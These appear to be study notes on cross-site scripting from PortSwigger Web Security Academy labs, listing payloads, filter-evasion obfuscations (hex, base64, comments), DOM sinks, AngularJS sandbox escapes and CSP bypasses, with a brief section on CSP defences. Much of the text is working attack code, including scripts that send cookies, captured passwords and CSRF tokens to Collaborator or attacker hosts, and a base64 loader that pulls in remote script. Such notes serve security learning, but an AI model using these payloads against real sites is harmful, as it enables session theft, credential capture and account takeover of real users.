<img src=1 onerror=alert()>

<svg onload=alert()>

<script>alert()></script>

**Obfuscating:**

- Webapp uses replace() to encode angle bracket => Add more <>

- If spaces are not allow => Use blank comment /\*\*/

Unicode encode the Javascript

Unicode escape / Hexadecimal escape / octal escape the Javascript strings

Use superfluous escape characters: eval('a\l\ert\(1)');

HTML encode the Javascript in HTML tag attribute

When "." is filtered:

- URL/HTML encode "."

- HTML then URL encode "."

- document.cookie => window["document"]["cookie"]

Add space char: document%20.%20cookie

Add comments: document/\*foo\*/./\*bar\*/cookie

window["alert"](window["document"]["cookie"]);

self[/\*foo\*/"alert"](self[document"/\*bar\*/]["cookie"]);

\*\*\*\*\*\*\*\*\*\* With lots of comments:

(/\* this is a comment \*/self/\* foo \*/)[/\*bar\*/"alert"/\*\*/]("yo")

\*\*\*\*\*\*\*\*\*\* String concatenation:

self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

\*\*\*\*\*\*\*\*\*\* Hex escape: alert(document.cookie)

self["\x61\x6c\x65\x72\x74"](

self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]

["\x63\x6f\x6f\x6b\x69\x65"]

)

\*\*\*\*\*\*\*\*\*\* Base64-encoded: <script src="http://example.com/evil.js" ...

self["\x65\x76\x61\x6c"](

self["\x61\x74\x6f\x62"](

"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\

c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\

HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\

QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\

oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\

aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\

y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\

5kQ2hpbGQoc2NyaXB0KTs="

)

)

Global variables: window, self, \_self, this, top, parent, frames

**Call a URL**

fetch("https://url?" + window["document"]["cookie"])

location = "ur" + window["document"]["cookie"]

window.document.location = "url" + window["document"]["cookie"]

Try both http and https

-------------------------------------------------------------------------------------------------------------

DOM-based XSS

We may need to add parameter to the request.

See where the canary is reflected, then close the surrounding element(s). (x)

Graphical user interface, text, application

Description automatically generated

Testing HTML sinks (v)

document.write('... <script>alert(document.domain)</script> ...')

element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'

document.writeln()

document.domain

element.outerHTML

element.insertAdjacentHTML

element.onevent

Testing JavaScript execution sinks (v)

eval(“something"**-alert(1)**}//)

DOM XSS in jQuery (v)

Consider:

$(function() {

$('#backLink').attr("**href**",(new URLSearchParams(window.location.search)).get('returnUrl'));

});

Attack: ?returnUrl=**javascript:alert(document.domain)**

**hashchange** event: (v)

$(window).on('**hashchange**', function() {

var element = $(location.hash);

element[0].scrollIntoView();

});

Attack:

<iframe src="https://web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

DOM XSS in [AngularJS](https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection)

Check for the **ng-app** attribute on the HTML source.

Attack: {{$on.constructor('alert(1)')()}}

If input is reflected in a JSON string value (v)

Attack for eval(): \"-alert(1)}//

JSON escapes the “, but not the \

// comments out the rest

-------------------------------------------------------------------------------------------------------------

## **Exploiting cross-site scripting to steal cookies**

<script>

fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {

method: 'POST',

mode: 'no-cors',

body:document.cookie

});

</script>

**Exploiting cross-site scripting to capture passwords** (given auto-fill function) (v)

Send username and password to Collaborator

<input name=username id=username>

<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{

method:'POST',

mode: 'no-cors',

body:username.value+':'+this.value

});">

## **Exploiting cross-site scripting to perform**[**CSRF**](https://portswigger.net/web-security/csrf)

If we've found an XSS vulnerability, we can make it trigger this functionality to change the victim's email address to one that we control, and then trigger a password reset to gain access to the account (given the victim does not have to re-enter the password).

<script>

var req = new XMLHttpRequest();

req.onload = handleResponse;

req.open('get','/my-account',true);

req.send();

function handleResponse() {

var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];

var changeReq = new XMLHttpRequest();

changeReq.open('post', '/my-account/change-email', true);

changeReq.send('csrf='+token+'&email=test@test.com')

};

</script>

-------------------------------------------------------------------------------------------------------------

# **Reflected XSS into HTML context with most tags and attributes blocked**

Use Burp Intruder to find which tags and events are allow:

- Tag list and event list: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

- Payload for tag <§§>

- Payload for event <tag%20§§=1>

- Find XSS-Payload with cheatsheet

On exploit server:

<iframe src="https://your-lab-id.web-security-academy.net/?search=<body+**onresize**=print()>" onload=this.style.width='100px'>

# **Reflected XSS into HTML context with all tags blocked except custom ones**

Use the custom tag <xss>

<script>

location = 'https://your-lab-id.web-security-academy.net/?search=<**xss**+id=x+**onfocus**=alert(document.cookie)+tabindex=1>#x';

</script>

# **Reflected XSS with event handlers and href attributes blocked (not understandable)**

<svg><a><animate+attributeName=href+values=javascript:alert(1)+/><text+x=20+y=20>**Click me**</text></a>

Reflected XSS with some SVG markup allowed

<svg><animatetransform%20§§=1>

We should terminate the attribute value, close the tag, and introduce a new one:"><script>alert(document.domain)</script>

**Angle brackets are HTML encoded (v)**

If **angle brackets are blocked or encoded**, and our input cannot break out of the tag, we can introduce a new attribute that creates a scriptable context, such as an event handler: " autofocus onfocus=alert(document.domain) x="

 If the XSS context is into the **href** attribute of an anchor tag:<a href="javascript:alert(document.domain)">

# **Reflected XSS in canonical link tag**

Search for “canonical” tag in source code.

Check if /?input is reflected in this tag.

The simulated user will press the following key combinations:

* ALT+SHIFT+X
* CTRL+ALT+X
* Alt+X

Attack: <https://your-lab-id.web-security-academy.net/?'accesskey='x'onclick='alert(1)>

## **XSS into JavaScript**

## **Terminating the existing script**

If the XSS context is as follows:

<script>

...

var input = 'controllable data here';

...

</script>

Attack: </script><img src=1 onerror=alert(document.domain)>

Browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts. The above payload leaves the original script broken, with an unterminated string literal. But that doesn't prevent the subsequent script being parsed and executed in the normal way.

The payload above is useful when **angle brackets are not HTML encoded.**

### **Breaking out of a JavaScript string**

'-alert(document.domain)-'

**';alert(document.domain)//**

The payload above is useful when **angle brackets are HTML encoded.**

When **(double) quotes are escaped (with \ ) and backslash not escaped**: we can use our own backslash character to neutralize the backslash that is added to the quotes. Consider:';alert(document.domain)//gets converted to\';alert(document.domain)//

Attacks: \';alert(document.domain)//gets converted to\\';alert(document.domain)//

### **Use throw statement**

This helps avoiding spaces, parentheses, semi colon,…

**Attack**: https://your-lab-id.web-security-academy.net/post?postId=5&'},x=x=>{throw/\*\*/onerror=alert,1337},toString=x,window+'',{x:'

### **Making use of HTML-encoding**

When the XSS context is some existing **JavaScript within a quoted tag attribute**, it is possible to make use of HTML-encoding to work around some input filters. Consider:<a href="#" onclick="... var input='controllable data here'; ...">

The application blocks single quote character.

**Attack**: &apos;-alert(document.domain)-&apos;

&apos; sequence represents a single quote.

The above payload is useful when **angle brackets, (double) quotes and backslashed are HTML-encoded or escaped**.

### **XSS in JavaScript template literals**

JavaScript template literals `……` are string literals that allow embedded JavaScript expressions ${...}. The embedded expressions are evaluated and are normally concatenated into the surrounding text. For example:

document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;

If the XSS context is as follows:

<script>

...

var input = `controllable data here`;

...

</script>

**Attack**: ${alert(document.domain)}

**Check for javascript template literals `……..`**

# **Content security policy**

## Response needs to include an HTTP response header called Content-Security-Policy.

## **Mitigating XSS attacks using CSP**

script-src 'self'

script-src https://scripts.normal-website.com

In addition to whitelisting specific domains, CSP also provides two other ways of specifying trusted resources: nonces and hashes.

* The CSP can specify a nonce (a random value) and the same value must be used in the tag that loads a script. If the values do not match, the script will not execute. The nonce must be securely generated on each page load and not be guessable by an attacker.
* The CSP directive can specify a hash of the trusted script. If the hash of the actual script does not match, the script will not execute.

# Many CSPs do allow image requests. This means we can often use img elements to make requests to external servers in order to disclose information such as [CSRF tokens](https://portswigger.net/web-security/csrf/tokens), using **Dangling markup injection:**

Consider: <input type="text" name="input" value="CONTROLLABLE DATA HERE Attack: "><img src='//attacker-website.com?

When a browser parses the response, it will look ahead until it encounters a single quotation mark to terminate the attribute. Everything up until that character will be treated as being part of the URL and will be sent to the attacker's server.

**When CSP: img-src ‘self’;**

**On exploit server:**

<script>

if(window.name) {

new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?'+encodeURIComponent(window.name);

} else {

location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';

}

</script>

At the first open, (window.name == “”) the else clause will be executed. The lab website opens, the XSS-payload will be placed in the “email” parameter. The <base target=’ will set the window.name on the content following the quote, including the CSRF-token. When victim clicks on “Click me”, the exploit server is fetched once again and the if clause is executed (window.name != “”). The if clase sends the CSRF token to the collaborator server.

## **Bypassing CSP with policy injection**

We may encounter a website that reflects input into the actual policy, most likely in a report-uri directive. Consider:

Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

**Attack**: ?search=<script>alert(1)</script>&**token=;script-src-elem 'unsafe-inline'**

## **Protecting against**[**clickjacking**](https://portswigger.net/web-security/clickjacking)**using CSP**

frame-ancestors 'self'

frame-ancestors 'none'

frame-ancestors 'self' https://normal-website.com https://\*.robust-website.com

# **Client-side template injection**

Applications using a client-side template framework dynamically embed user input in web pages. When rendering a page, the framework scans it for template expressions and executes any that it encounters. We can supply a malicious template expression that lauches a XSS attack.

## **What is the AngularJS sandbox?**

A mechanism that prevents access to potentially dangerous objects, such as window or document, and potentially dangerous properties, such as \_\_proto\_\_ or \_\_lookupGetter\_\_, in AngularJS template expressions.

### **Constructing an advanced AngularJS sandbox escape**

https://web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

# **Reflected XSS with AngularJS sandbox escape and CSP**

Attack:?search=<input id=x ng-focus=$event.path|orderBy:'(y=alert)(1)'>#x

On exploit server:

<script>

location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';

</script>